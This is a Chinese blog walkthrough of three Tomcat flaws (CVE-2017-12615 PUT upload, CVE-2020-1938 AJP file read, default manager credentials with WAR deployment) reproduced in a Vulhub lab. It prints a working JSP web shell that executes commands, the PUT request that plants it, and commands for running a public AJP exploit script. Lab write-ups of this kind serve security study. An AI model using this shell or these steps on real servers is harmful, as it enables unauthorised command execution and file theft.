中间件安全—Tomcat常见漏洞

news2024/11/30 15:37:59

中间件安全—Tomcat常见漏洞

  • 1.Tomcat常见漏洞
    • 1.1.前言
    • 1.2.文件上传 (CVE-2017-12615)
      • 1.2.1.漏洞原理
      • 1.2.2.影响版本
      • 1.2.3.漏洞复现
        • 1.2.3.1.测试是否允许PUT
        • 1.2.3.2.验证漏洞是否存在
        • 1.2.3.3.访问test.jsp
        • 1.2.3.4.上传执行命令脚本
        • 1.2.3.5.执行命令
    • 1.3.文件包含漏洞(CVE-2020-1938)
      • 1.3.1.漏洞原理
      • 1.3.2.影响版本
      • 1.3.3.漏洞复现
        • 1.3.3.1.访问页面
        • 1.3.3.2.POC下载
        • 1.3.3.3.POC验证
    • 1.4.弱口令&war远程部署
      • 1.4.1.漏洞原理
      • 1.4.2.影响版本
      • 1.4.3.漏洞复现
        • 1.4.3.1.访问后台
        • 1.4.3.2.后台管理
        • 1.4.3.3.进入模块
        • 1.4.3.4.获取shell

1.Tomcat常见漏洞

1.1.前言

  整个复现环境均使用Vulhub一键搭建漏洞测试靶场,Vulhub靶场:链接

1.2.文件上传 (CVE-2017-12615)

1.2.1.漏洞原理

  Tomcat配置文件/conf/web.xml 配置了可写(readonly=false),导致可以使用PUT方法上传任意文件,攻击者将精心构造的payload向服务器上传包含任意代码的 JSP 文件。之后,JSP 文件中的代码将能被服务器执行。
在这里插入图片描述

1.2.2.影响版本

  Apache Tomcat 7.0.0 – 7.0.81

1.2.3.漏洞复现

1.2.3.1.测试是否允许PUT

  这里修改请求方式为OPTIONS /xx HTTP/1.1,通过修改后发现允许PUT方法。
在这里插入图片描述

1.2.3.2.验证漏洞是否存在

  这里修改请求方式为:PUT /test.jsp/ HTTP/1.1,请求体为:<%out.print(“hacker”); %>,然后访问test.jsp。
在这里插入图片描述

1.2.3.3.访问test.jsp

URL:http:ip地址:端口/test.jsp

在这里插入图片描述

1.2.3.4.上传执行命令脚本

  修改请求头PUT /test.jsp/ HTTP/1.1,修改请求体。

请求体:
<%
    if("123".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
        int a = -1;          
        byte[] b = new byte[1024];          
        out.print("<pre>");          
        while((a=in.read(b))!=-1){
            out.println(new String(b));          
        }
        out.print("</pre>");
    } 
%>

在这里插入图片描述

1.2.3.5.执行命令

http://ip地址:8080/test.jsp?&pwd=123&cmd=ls

在这里插入图片描述

1.3.文件包含漏洞(CVE-2020-1938)

1.3.1.漏洞原理

  Tomcat 配置了两个Connecto,它们分别是 HTTP 和 AJP :HTTP默认端口为8080,处理http请求,而AJP默认端口8009,用于处理 AJP 协议的请求,而AJP比http更加优化,多用于反向、集群等,漏洞由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件以及可以包含任意文件,如果有某上传点,上传图片马等等,即可以获取shell。

1.3.2.影响版本

  Apache Tomcat 6
  Apache Tomcat 7 < 7.0.100
  Apache Tomcat 8 < 8.5.51
  Apache Tomcat 9 < 9.0.31
  开启了8009端口的ajp服务

1.3.3.漏洞复现

1.3.3.1.访问页面

  访问http://your-ip:8080即可查看tomcat默认页面,此时通过AJP协议的8009端口亦可访问Tomcat。
在这里插入图片描述

1.3.3.2.POC下载

  POC链接:链接
  当然你也可以在kali中使用命令进行下载,检测等,不过我这里由于网络原因一直下载不下来,我就用本机下载再上传虚拟机了。

命令:
git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi  
cd CNVD-2020-10487-Tomcat-Ajp-lfi  
python CNVD-2020-10487-Tomcat-Ajp-lfi.py    #py2环境  

在这里插入图片描述

1.3.3.3.POC验证

  这里查看8009端口下的web.xml文件

命令:python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py IP地址 -p 8009 -f /WEB-INF/web.xml

在这里插入图片描述

1.4.弱口令&war远程部署

1.4.1.漏洞原理

  在tomcat8环境下默认进入后台的密码为tomcat/tomcat,未修改造成未授权即可进入后台。

1.4.2.影响版本

  全版本

1.4.3.漏洞复现

1.4.3.1.访问后台

  这里首先需要先访问后台管理。

http://ip地址:8080/manager/html

在这里插入图片描述

1.4.3.2.后台管理

  在后台有一个上传war包的地方,这里就是我们用来上传木马的地方,这里我没准备jsp马,我使用msf来进行操作吧。
在这里插入图片描述

1.4.3.3.进入模块

  进入msf里面的exploit/multi/http/tomcat_mgr_upload模块。
在这里插入图片描述

1.4.3.4.获取shell

  我这边由于使用云服务器,存在反弹的端口不通,可能被拦截了,所以就没有反弹回来。
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/363499.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【第一章 - 绪论】- 数据结构(近八千字详解)

目录 一、 数据结构的研究内容 二、基本概念和术语 2.1 - 数据、数据元素、数据项和数据对象 2.2 - 数据结构 2.2.1 - 逻辑结构 2.2.2 - 存储结构 2.3 - 数据类型和抽象数据类型 三、抽象数据类型的表现与实现 四、算法和算法分析 4.1 - 算法的定义及特性 4.2 - 评价…

手把手教大家在 gRPC 中使用 JWT 完成身份校验

文章目录1. JWT 介绍1.1 无状态登录1.1.1 什么是有状态1.1.2 什么是无状态1.2 如何实现无状态1.3 JWT1.3.1 简介1.3.2 JWT数据格式1.3.3 JWT 交互流程1.3.4 JWT 存在的问题2. 实践2.1 项目创建2.2 grpc_api2.3 grpc_server2.4 grpc_client3. 小结上篇文章松哥和小伙伴们聊了在 …

Docker 如何配置镜像加速

Docker 镜像加速 国内从 DockerHub 拉取镜像有时会遇到困难&#xff0c;此时可以配置镜像加速器。Docker 官方和国内很多云服务商都提供了国内加速器服务&#xff0c;例如&#xff1a; 科大镜像&#xff1a;https://docker.mirrors.ustc.edu.cn/网易&#xff1a;https://hub-…

生态流量数据采集传输协议定制开发(嵌入式水资源SZY206协议以及VC++ POST数据发送)

水电站生态流量在线监测&#xff0c;流量数据采集传输,水资源遥测终端机程序。 背景&#xff1a;现场使用SCJ-LL01多普勒超声波流量计采集生态下泄流量&#xff0c;使用太阳能供电系统&#xff0c;使用SCJ-RTU01遥测终端机进行数据采集&#xff0c;设备采用4G通讯&#xff0c;…

基于MATLAB开发AUTOSAR软件应用层模块-part23.SR interface通信介绍(接收的数据错误时应该如何处理)

在软件SWC之间的AUTOSAR SR通信中,当COM报告接收SWC的数据接收错误时,运行时环境(RTE)触发DataReceiveErrorEvent。该事件可以指示发送方SWC未能在AliveTimeout限制内回复,或者发送方SWC发送了无效数据。 接下来我们就讲解下怎么实现无效数据的接收和判断 还是三步走,建模…

Ubuntu 上 Let‘s Encrypt 生成泛域名证书

安装生成工具certbot&#xff1a; apt install certbot 查看安装在哪&#xff1a; which certbot 使用certbot&#xff08;位置在 /usr/bin/certbot&#xff09;生成证书&#xff1a; /usr/bin/certbot certonly -d *.xxx.com --manual --preferred-challenges dns --ser…

一种全新的图像滤波理论的实验(二)

一、前言 2021年12月31日&#xff0c;我发布了基于加权概率模型的图像滤波算法的第一个实验&#xff0c;当时有两个关键问题没有解决&#xff1a; 1、出现了大面积的黑色区域&#xff0c;最近考虑把这个算法实际应用在图像和视频的压缩领域&#xff0c;于是通过对程序的分析&a…

【论文简述】GMFlow: Learning Optical Flow via Global Matching(CVPR 2022)

一、论文简述 1. 第一作者&#xff1a;Haofei Xu 2. 发表年份&#xff1a;2022 3. 发表期刊&#xff1a;CVPR oral 4. 关键词&#xff1a;光流、代价体、Transformers、全局匹配、注意力机制 5. 探索动机&#xff1a;过去几年中具有代表性的光流学习框架的核心估计方式没有…

Java文件IO及其案例分析

目录 1. 文件概述 1.1 狭义和广义上的文件 1.2 文件的路径 1.3 文件的类型 2. 针对文件系统的操作 3. 针对文件内容的操作&#xff08;文件的读和写&#xff09; 3.1 IO流对象 3.2 文件的读操作&#xff08;字节流&#xff09; 3.3 文件的写操作&#xff08;字节流&#…

内存取证常见例题思路方法-volatility (没有最全 只有更全)

目录 1.从内存文件中获取到用户hacker 的密码并且破解密码&#xff0c;将破解后的密码作为 Flag值提交; 2.获取当前系统的主机名&#xff0c;将主机名作为Flag值提交; 3.获取当前系统浏览器搜索过的关键词&#xff0c;作为Flag提交; 4.获取当前内存文件的 ip地址 5.当前系…

pycharm和navigator打开时出现报错,无法正常打开

1、navigator打开时出现提示&#xff1a; 原因是&#xff1a;python.exe有多个任务在占用。 解决办法&#xff1a; &#xff08;1&#xff09;打开cmd &#xff08;2&#xff09;输入&#xff1a;tasklist | findstr “pythonw” &#xff08;3&#xff09;有几个线程就kill几个…

qt qchart学习

Qt Charts主要由QChartView、QChart、QLegend图例、坐标轴(由QAbstractAxis子类实现)、**数据源(由QAbstractSeries子类实现)**等组成使用QChart的前期准备1. Qt5.9及以上版本&#xff1b;2. .pro文件中添加QT charts3. 在使用QChart的各个控件之前&#xff0c;引用头文件并必…

【前缀和】和为k的子数组 路径总和 III

文章目录和为k的子数组路径总和 III和为k的子数组 动态规划算法&#xff08;超时&#xff09; class Solution { public:int subarraySum(vector<int>& nums, int k) {int n nums.size();vector<vector<int>> dp(n, vector<int>(n, 0));int ans …

b2b b2c o2o分布式电子商务平台源码 mybatis+spring cloud

鸿鹄云商大型企业分布式互联网电子商务平台&#xff0c;推出PC微信APP云服务的云商平台系统&#xff0c;其中包括B2B、B2C、C2C、O2O、新零售、直播电商等子平台。 分布式、微服务、云架构电子商务平台 java b2b2c o2o 技术解决方案 开发语言&#xff1a; java、j2ee 数据库&am…

注解@Transactional 原理和常见的坑

这篇文章&#xff0c;会先讲述 Transactional 的 4 种不生效的 Case&#xff0c;然后再通过源码解读&#xff0c;分析 Transactional 的执行原理&#xff0c;以及部分 Case 不生效的真正原因1 项目准备下面是 DB 数据和 DB 操作接口&#xff1a;uidunameusex1张三女2陈恒男3楼仔…

百万医疗险是什么

一、百万医疗险是什么 从名字可以看出&#xff0c;这是一款医疗险。因为保额高&#xff0c;最高能报销百万&#xff0c;所以叫百万医疗险。 二、百万医疗险有什么用 可以报销被保险人因意外伤害和疾病导致的医疗费用 三、如何挑选 虽然高达几百万的保额&#xff0c;但保额却并非…

cas单点登录-自定义登录界面 / 自定义主题风格(三)

cas单点登录-自定义登录界面 / 自定义主题风格&#xff08;三&#xff09; 在前面的文章中&#xff0c;介绍了使用cas实现SSO单点登录&#xff0c;静态登录&#xff0c;使用mysql数据库登录。但是在登录时都是跳转到了同一个登录界面。 假设现在我有两个子站点app1.com&#x…

【Docker】初识Dcoker以及镜像操作(一)

目录 1.初识Docker 1.1.什么是Docker 1.1.1.应用部署的环境问题 1.1.2.Docker解决依赖兼容问题 1.1.3.Docker解决操作系统环境差异 1.1.4.小结 1.2.Docker和虚拟机的区别 1.3.Docker架构 1.3.1.镜像和容器 1.3.2.DockerHub 1.3.3.Docker架构 1.3.4.小结 1.4.安装D…

Three.js铅笔手绘效果实现

在这个教程中&#xff0c;我们将学习如何使用 Three.js 后处理创建铅笔手绘效果。 我们将完成创建自定义后处理渲染通道、在 WebGL 中实现边缘检测、将法线缓冲区重新渲染到渲染目标以及使用生成和导入的纹理调整最终结果的步骤。 这就是最终结果的样子&#xff0c;让我们开始…

NLP学习笔记(九) 分词(上)

大家好&#xff0c;我是半虹&#xff0c;这篇文章来讲分词算法 1 概述 分词是自然语言处理领域中的基础任务&#xff0c;是文本预处理的重要步骤 简单来说&#xff0c;就是将文本段落分解为基本语言单位&#xff0c;亦可称之为词元 ( token\text{token}token ) 按照粒度的不…